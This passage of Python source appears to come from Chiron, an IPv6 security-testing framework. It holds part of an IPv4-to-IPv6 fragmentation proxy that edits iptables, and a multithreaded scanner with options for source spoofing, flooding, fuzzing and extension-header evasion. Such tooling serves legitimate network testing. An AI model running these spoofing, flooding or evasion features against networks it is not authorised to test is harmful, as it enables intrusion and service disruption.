parser.add_argument('-stimeout','--sniffer_timeout', action="store", dest="sniffer_timeout", default=60, help="The timeout (in seconds) when the integrated sniffer (IF used) will exit automatically.") 174 | parser.add_argument('-threads','--number_of_threads', action="store", dest="no_of_threads", default=10, help="The number of threads to use (for multi-threaded operation).") 175 | values = parser.parse_args() 176 | 177 | ###LETS TO SOME CHECKS FIRST TO SEE IF WE CAN WORK### 178 | if os.geteuid() != 0: 179 | print "You must be root to run this script." 180 | exit(1) 181 | scapy.config.conf.verb=0 182 | scapy.config.conf.L3socket=scapy.supersocket.L3RawSocket 183 | 184 | #GET YOUR SOURCE IPV6 AND MAC ADDRESS 185 | mac_source=definitions.define_source_mac_address(values.mac_source,values.random_mac) 186 | source_ip,mac_source= definitions.define_source_ipv6_address(values.source,mac_source,values.ipv6interface,values.random_source,False) 187 | 188 | #DEFINE DESTINATIONS AND GATEWAY MAC 189 | ip_list,IPv6_scope_defined = definitions.define_destinations(values.destination,False,False,False,False) 190 | gw_mac = auxiliary_functions.get_gw_mac(values.gateway,values.ipv6interface,ip_list,source_ip) 191 | 192 | dest=ip_list[0] #Use just the 1st address, if more than one is provided. No reason for many targets addresses in the proxy 193 | 194 | ###CHECK THE VALIDITY OF THE IP DESTINATION ADDRESSES### 195 | ###DO THESE CHECKS ONLY FOR THE CASES REQUIRED### 196 | resolved_ipv6_address="" 197 | if checkip.is_valid_host(dest): 198 | resolved_ipv6_address=dns_resolve_ipv6_addr(dest, values.dns_server) 199 | if resolved_ipv6_address: 200 | dest=resolved_ipv6_address[0]#get and check just the first address, alternative option below 201 | if checkip.is_valid_ipv6(dest): 202 | if dest=="ff02::1": 203 | ether_dst="33:33:00:00:00:01" 204 | elif values.gateway: 205 | ether_dst=gw_mac 206 | elif values.target_mac: 207 | ether_dst=values.target_mac 208 | else: 209 | ether_dst=auxiliary_functions.find_single_mac(source_ip, dest, values.ipv6interface) 210 | if not ether_dst: 211 | p=scapy.layers.inet6.conf.route6.route("::/0") 212 | ether_dst=auxiliary_functions.find_single_mac(p[1], p[2], p[0]) 213 | if not ether_dst: 214 | print dest, "not found" 215 | exit(0) 216 | 217 | if checkip.is_valid_host(dest): 218 | res_str=dest+ " could not be resolved" 219 | else: 220 | res_str=dest+ " is not a valid IPv6 address" 221 | 222 | #CONFIGURE IPTABLES 223 | if platform.system()=="Linux": 224 | #output = subprocess.check_output(['ps', '-A']) 225 | #if 'firewalld' in output: 226 | # print("firewalld is up an running!") 227 | subprocess.call(['ip6tables', '-I', 'OUTPUT', '1', '-p', 'icmpv6', '--icmpv6-type', 'destination-unreachable', '-s', source_ip, '-d', values.destination, '-j', 'DROP']) 228 | subprocess.call(['iptables', '-I', 'OUTPUT', '1', '--source', '127.0.0.3', '--destination', '127.0.0.1','-p', 'tcp', '--tcp-flags', 'RST', 'RST', '-j', 'DROP']) 229 | subprocess.call(['ip6tables', '-I', 'OUTPUT', '1', '-p', 'tcp', '-s', source_ip, '-d', values.destination, '-j', 'DROP']) 230 | else: 231 | print "This is not a Linux system. You must configure the firewall on your own" 232 | 233 | #CREATE THE IPV6 HEADER CHAIN 234 | list_of_fragment_lengths,list_of_offsets,list_of_fragment_m_bits,list_of_next_headers=checkings.check_fragmentation_parameters(values.list_of_fragment_lengths,values.list_of_offsets,values.list_of_fragment_m_bits,values.list_of_next_headers,values.number_of_fragments) 235 | unfragmentable_part,size_of_unfragmentable_part=create_extension_headers_chain.create_unfragmentable_part(source_ip, dest,int(values.hoplimit),values.lEu,int(values.size_of_extheaders),0) 236 | fragmentable_extension_headers,size_of_fragmentable_extension_headers,first_next_header_value=create_extension_headers_chain.create_fragmentable_part(values.lEf,int(values.size_of_extheaders),0) 237 | list_of_fragment_lengths,list_of_offsets,list_of_fragment_m_bits,list_of_next_headers=checkings.check_fragmentation_parameters(values.list_of_fragment_lengths,values.list_of_offsets,values.list_of_fragment_m_bits,values.list_of_next_headers,values.number_of_fragments) 238 | 239 | myfilter="ip6 and src " + dest + " and dst " + source_ip #"src " + values.ipv4_sender + " and dst " + values.ipv4_receiver 240 | pr=multiprocessing.Process(target=IPv6_to_IPv4_Worker, args=(myfilter,values.ipv4_receiver,values.ipv4_sender,values.ipv6interface,)) 241 | pr.daemon=True 242 | pr.start() 243 | 244 | queueIPv4=multiprocessing.Queue() 245 | myfilter ="src "+values.ipv4_sender+" and dst "+values.ipv4_receiver 246 | pr2=multiprocessing.Process(target=IPv4Sniffer, args=(queueIPv4, myfilter,values.ipv4interface,)) 247 | pr2.daemon = True 248 | pr2.start() 249 | 250 | IPv6SenderProcesses=[] 251 | for i in xrange(1, int(values.no_of_threads)+1): 252 | print "IPv6 Sender Process ",i 253 | IPv6SenderProcesses.append(multiprocessing.Process(target=IPv6Sender, args=(values,queueIPv4,i,mac_source,source_ip,dest,ether_dst,values.ipv6interface,list_of_fragment_lengths,list_of_offsets,list_of_fragment_m_bits,list_of_next_headers,fragmentable_extension_headers,size_of_fragmentable_extension_headers,first_next_header_value,unfragmentable_part,size_of_unfragmentable_part,values.number_of_fragments,))) 254 | IPv6SenderProcesses[i-1].daemon = True 255 | IPv6SenderProcesses[i-1].start() 256 | try: 257 | pr.join() 258 | pr2.join() 259 | for i in xrange(1, int(values.no_of_threads)+1) : 260 | IPv6SenderProcesses[i-1].join() 261 | print "Worker %d Created!"%i 262 | except KeyboardInterrupt: 263 | print 'Received Ctrl-C' 264 | #RECONFIGURE IPTABLES 265 | if platform.system()=="Linux": 266 | print "Reconfigure ip(6)tables to the old state" 267 | subprocess.call(['ip6tables', '-D', 'OUTPUT', '1']) 268 | subprocess.call(['iptables', '-D', 'OUTPUT', '1']) 269 | subprocess.call(['ip6tables', '-D', 'OUTPUT', '1']) 270 | print "DONE" 271 | exit(0) 272 | 273 | if __name__ == '__main__': 274 | main() 275 | -------------------------------------------------------------------------------- /bin/chiron_scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import argparse 3 | import Queue 4 | import time 5 | import re 6 | import ctypes 7 | import logging 8 | import sys 9 | import os 10 | import multiprocessing 11 | import random 12 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #supress Scapy warnings` 13 | import scapy 14 | sys.path.append('../lib') 15 | import sniffer_process 16 | import ipaddr 17 | import scanners 18 | import create_layer4 19 | import create_extension_headers_chain 20 | import checkip 21 | import fileio 22 | import results 23 | import auxiliary_functions 24 | import definitions 25 | import sniffer_process 26 | import checkings 27 | sys.setrecursionlimit(30000) #Required if you want to use too many embedded fragmented Fragmentations 28 | 29 | class Worker(multiprocessing.Process): 30 | def __init__(self,values,source_ip,mac_source,list_of_next_headers,list_of_offsets,list_of_fragment_lengths,list_of_fragment_m_bits,gw_mac,queue,IPv6_scope_defined,packets_sent_list,no_of_consumers,lock) : 31 | multiprocessing.Process.__init__(self) 32 | print "Initialisation of",self.name 33 | self.neighbor_solicitation_cache={} 34 | self.dns_resolution_cache={} 35 | self.queue = queue 36 | self.values = values 37 | self.source_ip=source_ip 38 | self.mac_source=mac_source 39 | self.list_of_next_headers=list_of_next_headers 40 | self.list_of_offsets=list_of_offsets 41 | self.list_of_fragment_lengths=list_of_fragment_lengths 42 | self.list_of_fragment_m_bits=list_of_fragment_m_bits 43 | self.gw_mac=gw_mac 44 | self.IPv6_scope_defined=IPv6_scope_defined 45 | self.packets_sent_list=packets_sent_list 46 | self.lock=lock 47 | self.no_of_consumers=no_of_consumers 48 | self.s = scapy.config.conf.L2socket(iface=self.values.interface) # Open Socket Once 49 | self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers,self.first_next_header_value=create_extension_headers_chain.create_fragmentable_part(self.values.lEf,int(self.values.size_of_extheaders),self.values.fuzz) 50 | def run(self): 51 | print self.name,"running" 52 | with self.lock: 53 | self.no_of_consumers.value+=1 54 | while True: 55 | dest = 0 56 | try: 57 | myworks = self.queue.get(timeout=1) 58 | dest = myworks[0] 59 | destports = myworks[1] 60 | except Queue.Empty : 61 | print self.name,"exiting" 62 | with self.lock: 63 | self.no_of_consumers.value-=1 64 | return 65 | ###CHECK THE VALIDITY OF THE IP DESTINATION ADDRESSES### 66 | resolved_ipv6_address="" 67 | if checkip.is_valid_host(dest): 68 | if self.dns_resolution_cache.get(dest): 69 | dest=self.dns_resolution_cache.get(dest) 70 | else: 71 | resolved_ipv6_address=scanners.dns_resolve_ipv6_addr(self.source_ip,dest, self.values.dns_server, self.gw_mac,self.values.interface) 72 | if resolved_ipv6_address: 73 | resolved=resolved_ipv6_address[0]#get and check just the first address, alternative option below 74 | print resolved, "is the IPv6 address of the host",dest 75 | self.dns_resolution_cache[dest]=resolved 76 | dest=resolved 77 | if self.IPv6_scope_defined==True or checkip.is_valid_ipv6(dest):#No reason to check for the validity of an address if a scope has been defined 78 | addr6 = ipaddr.IPAddress(dest) 79 | myaddr=addr6.exploded 80 | if myaddr[0:2]=="ff": 81 | if int(myaddr[2]) >= 0 and int(myaddr[2]) < 8: 82 | ether_dst="33:33:"+myaddr[30:32]+":"+myaddr[32:37]+":"+myaddr[37:39] 83 | else: 84 | if self.values.target_mac: 85 | ether_dst=self.values.target_mac 86 | elif self.neighbor_solicitation_cache.get(dest): 87 | ether_dst=self.neighbor_solicitation_cache.get(dest) 88 | else: 89 | ether_dst=auxiliary_functions.find_single_mac(self.source_ip, dest, self.values.interface) 90 | if not ether_dst: 91 | if self.gw_mac: 92 | ether_dst=self.gw_mac 93 | self.neighbor_solicitation_cache[dest]=ether_dst 94 | if not ether_dst: 95 | print dest, "not found" 96 | if ether_dst: 97 | if not self.values.tr_gen: 98 | self.unfragmentable_part,self.size_of_unfragmentable_part=create_extension_headers_chain.create_unfragmentable_part(self.source_ip, dest,int(self.values.hoplimit),self.values.lEu,int(self.values.size_of_extheaders),self.values.fuzz) 99 | if self.values.nsol: 100 | print "IPv6 address ",dest, " has MAC adddress ", ether_dst 101 | if self.values.pmtu: 102 | if int(self.values.dmtu) > 1500: 103 | print "Your MTU value is",self.values.dmtu,"bytes, which is bigger than the Ethernet MTU (1500). Exiting..." 104 | else: 105 | scanners.path_mtu_discovery(self.source_ip,dest,ether_dst,self.values.interface,self.values.dmtu) 106 | elif (self.values.pn or self.values.sS or self.values.sX or self.values.sR or self.values.sF or self.values.sA or self.values.sN or self.values.sU or self.values.rh0): 107 | layer4_and_payload=None 108 | if self.values.pn: 109 | layer4_and_payload=create_layer4.icmpv6(self.values.icmpv6_type,self.values.icmpv6_code,self.values.l4_data) 110 | elif self.values.sS: 111 | layer4_and_payload=create_layer4.tcp_packet(destports, "S", self.values.l4_data) 112 | elif self.values.sX: 113 | layer4_and_payload=create_layer4.tcp_packet(destports, "FPU",self.values.l4_data) 114 | elif self.values.sR: 115 | layer4_and_payload=create_layer4.tcp_packet(destports, "R",self.values.l4_data) 116 | elif self.values.sF: 117 | layer4_and_payload=create_layer4.tcp_packet(destports, "F",self.values.l4_data) 118 | elif self.values.sA: 119 | layer4_and_payload=create_layer4.tcp_packet(destports, "A",self.values.l4_data) 120 | elif self.values.sN: 121 | layer4_and_payload=create_layer4.tcp_packet(destports, "",self.values.l4_data) 122 | elif self.values.sU: 123 | layer4_and_payload=create_layer4.udp_packet(destports,self.values.l4_data) 124 | elif self.values.rh0: 125 | layer4_and_payload=create_layer4.type_0_routing_header([self.source_ip],self.values.layer4,self.values.l4_data,destports) 126 | packets=create_extension_headers_chain.create_datagram(self.mac_source,ether_dst,int(self.values.number_of_fragments),self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.values.fragment_id,self.unfragmentable_part,self.size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers,layer4_and_payload) 127 | create_extension_headers_chain.send_packets(self.s,packets,self.values.flood,self.values.delay) 128 | elif self.values.tr_gen: 129 | print "TRACEROUTING" 130 | packets_list={} 131 | if self.values.layer4=="tcp": 132 | if destports==-1: 133 | destports=80 134 | print "Traceroute using TCP",destports 135 | for hop_limit in range(self.values.minttl,self.values.maxttl+1): 136 | source_port=random.randrange(1,65535,1) 137 | while packets_list.has_key(source_port): 138 | source_port=random.randrange(1,65535,1) 139 | packets_list[source_port]=(hop_limit,dest) 140 | layer4_and_payload=create_layer4.tcp_packet_id(destports,"S",self.values.l4_data,source_port) 141 | self.unfragmentable_part,self.size_of_unfragmentable_part=create_extension_headers_chain.create_unfragmentable_part(source_ip, dest,hop_limit,self.values.lEu,int(self.values.size_of_extheaders),self.values.fuzz) 142 | packets=create_extension_headers_chain.create_datagram(self.mac_source,ether_dst,int(self.values.number_of_fragments),self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.values.fragment_id,self.unfragmentable_part,self.size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers,layer4_and_payload) 143 | create_extension_headers_chain.send_packets(self.s,packets,self.values.flood,self.values.delay) 144 | packets_sent_list.put(packets_list) 145 | elif self.values.layer4=="udp": 146 | if destports==-1: 147 | destports=53 148 | print "Traceroute using UDP",destports 149 | for hop_limit in range(self.values.minttl,self.values.maxttl+1): 150 | source_port=random.randrange(1,65535,1) 151 | while packets_list.has_key(source_port): 152 | source_port=random.randrange(1,65535,1) 153 | packets_list[source_port]=(hop_limit,dest) 154 | layer4_and_payload=create_layer4.udp_packet_id(destports,self.values.l4_data,source_port) 155 | self.unfragmentable_part,self.size_of_unfragmentable_part=create_extension_headers_chain.create_unfragmentable_part(source_ip, dest,hop_limit,self.values.lEu,int(self.values.size_of_extheaders),self.values.fuzz) 156 | packets=create_extension_headers_chain.create_datagram(self.mac_source,ether_dst,int(self.values.number_of_fragments),self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.values.fragment_id,self.unfragmentable_part,self.size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers,layer4_and_payload) 157 | create_extension_headers_chain.send_packets(self.s,packets,self.values.flood,self.values.delay) 158 | packets_sent_list.put(packets_list) 159 | else: #default layer4=="icmpv6": 160 | print "Traceroute using ICMPv6",dest 161 | for hop_limit in range(self.values.minttl,self.values.maxttl+1): 162 | icmpid=random.randrange(1,65535,1) #generate a random ICMPv6 id 163 | while packets_list.has_key(icmpid): 164 | icmpid=random.randrange(1,65535,1) #generate a random ICMPv6 id 165 | packets_list[icmpid]=(hop_limit,dest) 166 | layer4_and_payload=create_layer4.icmpv6_id(self.values.l4_data,icmpid) 167 | self.unfragmentable_part,self.size_of_unfragmentable_part=create_extension_headers_chain.create_unfragmentable_part(self.source_ip, dest,hop_limit,self.values.lEu,int(self.values.size_of_extheaders),self.values.fuzz) 168 | packets=create_extension_headers_chain.create_datagram(self.mac_source,ether_dst,int(self.values.number_of_fragments),self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.values.fragment_id,self.unfragmentable_part,self.size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers,layer4_and_payload) 169 | create_extension_headers_chain.send_packets(self.s,packets,self.values.flood,self.values.delay) 170 | self.packets_sent_list.put(packets_list) 171 | else: 172 | if checkip.is_valid_host(dest): 173 | res_str=dest+ " could not be resolved" 174 | else: 175 | res_str=dest+ " is not a valid IPv6 address" 176 | self.results.append(res_str) 177 | self.queue.task_done() 178 | return 179 | #END OF class Worker()# 180 | 181 | ################ MAIN FUNCTION WILL FOLLOW ####################################### 182 | def main(): 183 | #LET'S PARSE THE ARGUMENTS FIRST 184 | parser = argparse.ArgumentParser(version='0.8',description='An IPv6 port/network scanner. It can be combined with other modules of the framework.') 185 | parser.add_argument('interface', action="store", help="the network interface to use.") 186 | parser.add_argument('-gw','--gateway', action="store", dest="gateway", help="a gateway to use (only if required).") 187 | parser.add_argument('-s', '--source', action="store", dest="source", default=False, help="the IPv6 address of the sender (if you want to spoof it).") 188 | parser.add_argument('-rs', '--random-source', action="store_true", dest="random_source", default=False, help="randomise the IPv6 address of the sender (if you want to spoof it randomly).") 189 | parser.add_argument('-m', '--mac', action="store", dest="mac_source", default=False, help="the mac address of the sender (if you want to spoof it).") 190 | parser.add_argument('-tm', '--target_mac', action="store", dest="target_mac", default=False, help="the mac address of the target (if you want to define it to avoid Neighbor Solicitation).") 191 | parser.add_argument('-rm', '--random-mac', action="store_true", dest="random_mac", default=False, help="randomise the MAC address of the sender (if you want to spoof it randomly).") 192 | parser.add_argument('-iL', '--input_file', action="store", dest="input_file", help="the filename that includes the IPv6 address(es) of the target(s) - one per line") 193 | parser.add_argument('-d', '--destination', action="store", dest="destination", help="the IPv6 address(es) of the target(s) - comma separated.") 194 | parser.add_argument('-sM','--smart_scan', action="store_true", dest="smart_scan", default=False, help="perform a smart scan") 195 | parser.add_argument('-pr', '--prefix', action="store", dest="prefix", default="fe80::", help="the IPv6 network prefix to use. Example: fe80:224:54ff:feba::") 196 | parser.add_argument('-iC', '--input_combinations', action="store", dest="input_combinations", help="the filename where the combimations to use are stored") 197 | parser.add_argument('-of', '--output_file', action="store", dest="output_file", help="the filename where the results will be stored.") 198 | parser.add_argument('-dns','--dns_resolve', action="store", dest="dns", default="", help="Resolve a give hostname to its IPv6 address (if any). You can use a comma-separated list") 199 | parser.add_argument('-dns-server','--dns_server', action="store", dest="dns_server", default="2001:470:20::2", help="the DNS server to use to resolve the hostnames to IPv6 address") 200 | parser.add_argument('-nsol','--neighbor_solicitation', action="store_true", dest="nsol", default=False, help="Display neighbor solicitation results (IPv6 vs MAC addresses). Default: False") 201 | parser.add_argument('-pmtu','--path_mtu_disovery', action="store_true", dest="pmtu", default=False, help="perform path MTU discovery.") 202 | parser.add_argument('-mtu','--MTU', action="store", dest="dmtu", default=1500, help="The initial MTU to use for path MTU discovery.") 203 | parser.add_argument('-rec','--passive_local_reconnaisance', action="store_true", dest="rec", default=False, help="ATTACK 1: Collects passively Neighbor/Router Solicitation/Advertisement Messages. Creates a list of IPv6 addresses / MAC addresses and various other IPv6 related information") 204 | parser.add_argument('-mpn','--multicast_ping_scan', action="store_true", dest="mpn", default=False, help="perform a multicast link-local ping6 scan. Default operation if nothing else has been defined") 205 | parser.add_argument('-sn','--ping_scan', action="store_true", dest="pn", default=False, help="perform a ping6 scan.") 206 | parser.add_argument('-type','--icmpv6_type', action="store", dest="icmpv6_type", default=128, help="perform a ping6 scan.") 207 | parser.add_argument('-code','--icmpv6_code', action="store", dest="icmpv6_code", default=0, help="perform a ping6 scan.") 208 | parser.add_argument('-sS','--syn_scan', action="store_true", dest="sS", default=False, help="perform a SYN TCP scan (default)") 209 | parser.add_argument('-sA','--ack_scan', action="store_true", dest="sA", default=False, help="perform an ACK TCP scan") 210 | parser.add_argument('-sX','--xmas_scan', action="store_true", dest="sX", default=False, help="perform an XMAS TCP scan") 211 | parser.add_argument('-sR','--reset_scan', action="store_true", dest="sR", default=False, help="perform a RESET TCP scan") 212 | parser.add_argument('-sF','--fin_scan', action="store_true", dest="sF", default=False, help="perform a FIN TCP scan") 213 | parser.add_argument('-sN','--null_scan', action="store_true", dest="sN", default=False, help="perform a NULL TCP scan") 214 | parser.add_argument('-sU','--udp_scan', action="store_true", dest="sU", default=False, help="perform a UDP scan") 215 | parser.add_argument('-tr-gr','--traceroute-graph', action="store_true", dest="tr_gr", default=False, help="perform TCP traceroute and produce a graph") 216 | parser.add_argument('-tr','--traceroute', action="store_true", dest="tr_gen", default=False, help="perform generic traceroute (it can use ALL Chiron flexibilities)") 217 | parser.add_argument('-max_ttl','--maximum_ttl', action="store", dest="maxttl", default=25, help="maximum ttl for traceroute") 218 | parser.add_argument('-min_ttl','--minimum_ttl', action="store", dest="minttl", default=1, help="minimum ttl for traceroute") 219 | parser.add_argument('-lfE','--list_fragmented_Extension_Headers', action="store", dest="lEf", default=False, help="Define an arbitrary list of Extension Headers which will be included in the fragmentable part") 220 | parser.add_argument('-luE','--list_unfragmented_Extension_Headers', action="store", dest="lEu", default=False, help="Define an arbitrary list of Extension Headers which will be included in the unfragmentable part") 221 | parser.add_argument('-hoplimit','--Hop_Limit', action="store", dest="hoplimit", default=64, help="The Hop Limit value of the IPv6 Header. Default: 64") 222 | parser.add_argument('-nf','--no_of_fragments', action="store", dest="number_of_fragments", default=0, help="the number of fragments to send") 223 | parser.add_argument('-lnh','--list_of_next_headers', action="store", dest="list_of_next_headers", default=False, help="the list of next headers to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 224 | parser.add_argument('-lo','--list_of_offsets', action="store", dest="list_of_offsets", default=False, help="the list of offsets to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 225 | parser.add_argument('-ll','--list_of_fragment_lengths', action="store", dest="list_of_fragment_lengths", default=False, help="the list of fragment lengths to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 226 | parser.add_argument('-lm','--list_of_fragment_m_bits', action="store", dest="list_of_fragment_m_bits", default=False, help="the list of fragment M (More Fragments to Follow) bits to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 227 | parser.add_argument('-id','--fragment_id', action="store", dest="fragment_id", default=-1, help="Fragment Identification number to be used in Fragment Extension Headers durign fragmentation.") 228 | parser.add_argument('-seh','--size_of_extension_header', action="store", dest="size_of_extheaders", default=1, help="the size of the additional Extension Header (in octets of bytes)") 229 | parser.add_argument('-l4','--layer4', action="store", dest="layer4", default="icmpv6", help="the layer4 protocol") 230 | parser.add_argument('-l4_data','--layer4_payload', action="store", dest="l4_data", default="", help="the payload of layer4") 231 | parser.add_argument('-p','--destination_port', action="store", dest="destport", default=False, help="destination port of a TCP or UDP scan. If not defined, ports 1-1024 will be scanned") 232 | parser.add_argument('-stimeout','--sniffer_timeout', action="store", dest="sniffer_timeout", default=None, help="The timeout (in seconds) when the integrated sniffer (IF used) will exit automatically.") 233 | parser.add_argument('-threads','--number_of_threads', action="store", dest="no_of_threads", default=1, help="The number of threads to use (for multi-threaded operation).") 234 | parser.add_argument('-delay','--sending_delay', action="store", dest="delay", default=0, help="sending delay between two consecutive fragments") 235 | parser.add_argument('-rh0','--route-type-0', action="store_true", dest="rh0", default=False, help="detect support of Type 0 Routing Headers") 236 | parser.add_argument('-fl','--flood', action="store_true", dest="flood", default=0, help="flood the targets") 237 | parser.add_argument('-fuzz','--fuzzing', action="store_true", dest="fuzz", default=0, help="fuzz the undefined fields of the IPv6 Extension Headers") 238 | parser.add_argument('-flooding-interval','--interval-of-flooding', action="store", dest="flooding_interval", default=0.1, help="the interval between packets when flooding the targets") 239 | parser.add_argument('-ftimeout','--flooding_timeout', action="store", dest="flooding_timeout", default=200, help="The time (in seconds) to flood your target.") 240 | values = parser.parse_args() 241 | 242 | ###LETS DO SOME CHECKS FIRST TO SEE IF WE CAN WORK### 243 | if os.geteuid() != 0: 244 | print "You must be root to run this script." 245 | exit(1) 246 | #Define the default behaviour 247 | if (not values.rec) and (not values.pn) and (not values.pmtu) and (not values.mpn) and (not values.nsol) and (not values.sS) and (not values.sX) and (not values.sA) and (not values.sN) and (not values.sR) and (not values.sF) and (not values.sU) and (not values.tr_gr) and (not values.tr_gen) and (not values.rh0) and (not values.dns): 248 | print "Please define the type of scan you want to perform" 249 | exit(1) 250 | scapy.config.conf.verb=0 251 | 252 | #GET YOUR SOURCE IPV6 AND MAC ADDRESS 253 | mac_source=definitions.define_source_mac_address(values.mac_source,values.random_mac) 254 | source_ip,mac_source= definitions.define_source_ipv6_address(values.source,mac_source,values.interface,values.random_source,values.prefix) 255 | 256 | q = multiprocessing.JoinableQueue() 257 | sum_of_results = multiprocessing.Queue() 258 | packets_sent_list = multiprocessing.Queue() 259 | pr=None 260 | if values.rec: 261 | pr = multiprocessing.Process(target=sniffer_process.mySniffer, args=(values.interface, 1,sum_of_results,values.sniffer_timeout,source_ip,values.dns_server,)) 262 | pr.start() 263 | try: 264 | if values.sniffer_timeout: 265 | timeout=float(values.sniffer_timeout) 266 | else: 267 | timeout=5 268 | time.sleep(timeout) 269 | except KeyboardInterrupt: 270 | print "\n\nExiting on user's request..." 271 | print_scanning_results(values,sum_of_results,source_ip,[]) 272 | exit(1) 273 | print_scanning_results(values,sum_of_results,source_ip,[]) 274 | elif values.mpn: 275 | pr = multiprocessing.Process(target=sniffer_process.mySniffer, args=(values.interface, 5,sum_of_results,values.sniffer_timeout,source_ip,values.dns_server,)) 276 | pr.start() 277 | scanners.multi_ping_scanner(source_ip,values.interface,values.flood, values.flooding_interval) 278 | if values.sniffer_timeout: 279 | timeout=float(values.sniffer_timeout) 280 | else: 281 | timeout=3 282 | time.sleep(timeout) 283 | alive_results(sum_of_results,source_ip,values.output_file) 284 | pr.terminate() 285 | else: 286 | if values.dns: 287 | ip_list,IPv6_scope_defined = definitions.define_destinations(values.dns_server,values.input_file,values.smart_scan,values.prefix,values.input_combinations) 288 | gw_mac = auxiliary_functions.get_gw_mac(values.gateway,values.interface,ip_list,source_ip) 289 | #Check if DNS resolution is what it is asked for 290 | fqdn_list = values.dns.split(",") 291 | for f in fqdn_list: 292 | if checkip.is_valid_host(f): 293 | resolved_ipv6_address=scanners.dns_resolve_ipv6_addr(source_ip,f, values.dns_server,gw_mac,values.interface) 294 | if resolved_ipv6_address: 295 | print f,resolved_ipv6_address 296 | else: 297 | print "Not a valid Full Qualified Domain Name" 298 | else: 299 | ip_list,IPv6_scope_defined = definitions.define_destinations(values.destination,values.input_file,values.smart_scan,values.prefix,values.input_combinations) 300 | if values.tr_gr: 301 | ans,unans=scapy.layers.inet6.traceroute6(ip_list) 302 | print ans.display() 303 | if values.destination: 304 | #filename="> ./"+values.destination+".svg" 305 | filename="./"+values.destination+".svg" 306 | else: 307 | filename="traceroure_graph_results_of_file"+values.input_file+".svg" 308 | filename=filename.replace('/', '.') 309 | filename=">./"+filename 310 | filename=filename.replace(':', '.') 311 | ans.graph(target=filename) 312 | print "Graph is saved at",filename.strip('>') 313 | else: 314 | gw_mac = auxiliary_functions.get_gw_mac(values.gateway,values.interface,ip_list,source_ip) 315 | #check if fragmentation parameters are OK 316 | list_of_fragment_lengths,list_of_offsets,list_of_fragment_m_bits,list_of_next_headers=checkings.check_fragmentation_parameters(values.list_of_fragment_lengths,values.list_of_offsets,values.list_of_fragment_m_bits,values.list_of_next_headers,values.number_of_fragments) 317 | if values.pn or values.rh0 or values.tr_gen: 318 | for d in ip_list: 319 | q.put([str(d),None]) 320 | if values.pn: 321 | pr = multiprocessing.Process(target=sniffer_process.mySniffer, args=(values.interface, 2,sum_of_results,values.sniffer_timeout,source_ip,values.dns_server,)) 322 | elif values.rh0: 323 | pr = multiprocessing.Process(target=sniffer_process.mySniffer, args=(values.interface, 7,sum_of_results,values.sniffer_timeout,source_ip,values.dns_server,)) 324 | elif values.tr_gen: 325 | pr = multiprocessing.Process(target=sniffer_process.mySniffer, args=(values.interface, 6,sum_of_results,values.sniffer_timeout,source_ip,values.dns_server,)) 326 | else: 327 | packets_list={} 328 | ###DEFINE THE DESTINATION PORTS 329 | destports="" 330 | if values.sS or values.sA or values.sX or values.sR or values.sF or values.sN or values.sU: 331 | if values.destport: 332 | portlist = [] 333 | if values.destport.find('-')!=-1 : #if found 334 | ports=values.destport.split(',') 335 | for p in ports: 336 | if p.find('-')!=-1: 337 | portragne = p.split('-') 338 | for r in xrange(int(portragne[0]), int(portragne[1]) + 1): 339 | portlist.append(str(r)) 340 | else: 341 | portlist.append(p) 342 | destports = ','.join(portlist) 343 | else: 344 | destports=values.destport 345 | else: 346 | if values.sS or values.sA or values.sX or values.sR or values.sF or values.sN: 347 | portlist=fileio.read_ports_to_scan("tcp") 348 | else: 349 | portlist=fileio.read_ports_to_scan("udp") 350 | if not portlist: 351 | portlist=[str(x) for x in range(1,1025)] 352 | destports = ','.join(portlist) 353 | if not destports: 354 | destports="-1" 355 | for d in ip_list: 356 | for p in destports.split(","): 357 | q.put([str(d),int(p)]) 358 | if values.sS or values.sA or values.sX or values.sR or values.sF or values.sN: 359 | pr = multiprocessing.Process(target=sniffer_process.mySniffer, args=(values.interface, 3,sum_of_results,values.sniffer_timeout,source_ip,values.dns_server,)) 360 | elif values.sU: 361 | pr = multiprocessing.Process(target=sniffer_process.mySniffer, args=(values.interface, 4,sum_of_results,values.sniffer_timeout,source_ip,values.dns_server,)) 362 | print "Let's start scanning" 363 | print "Press Ctrl-C to terminate before finishing" 364 | pr.start() 365 | num_consumers=int(values.no_of_threads) 366 | print 'Creating %d consumers' % num_consumers 367 | no_of_consumers = multiprocessing.Value('i',0) 368 | lock = multiprocessing.Lock() 369 | consumers = [ Worker(values,source_ip,mac_source,list_of_next_headers,list_of_offsets,list_of_fragment_lengths,list_of_fragment_m_bits,gw_mac,q,IPv6_scope_defined,packets_sent_list,no_of_consumers,lock) 370 | for i in xrange(num_consumers) ] 371 | for w in consumers: 372 | w.start() 373 | complete_packets_list=[] 374 | time.sleep(2)#to ensure that consumers have started 375 | while no_of_consumers.value: 376 | try: 377 | time.sleep(0.1) 378 | except KeyboardInterrupt: 379 | print "Exiting on user's request..." 380 | print_scanning_results(values,sum_of_results,source_ip,complete_packets_list) 381 | exit(1) 382 | while not packets_sent_list.empty(): 383 | try: 384 | packets_list=packets_sent_list.get(timeout=2) 385 | complete_packets_list.append(packets_list) 386 | except Empty: 387 | continue 388 | print "Stop sniffing..." 389 | print_scanning_results(values,sum_of_results,source_ip,complete_packets_list) 390 | pr.terminate() 391 | 392 | def print_scanning_results(values,q,source_ip,packets_sent_list): 393 | my_results=[] 394 | while not q.empty(): 395 | tmp_result=q.get() 396 | my_results.append(tmp_result) 397 | print tmp_result 398 | print "\n\nScanning Complete!" 399 | print "==================" 400 | if 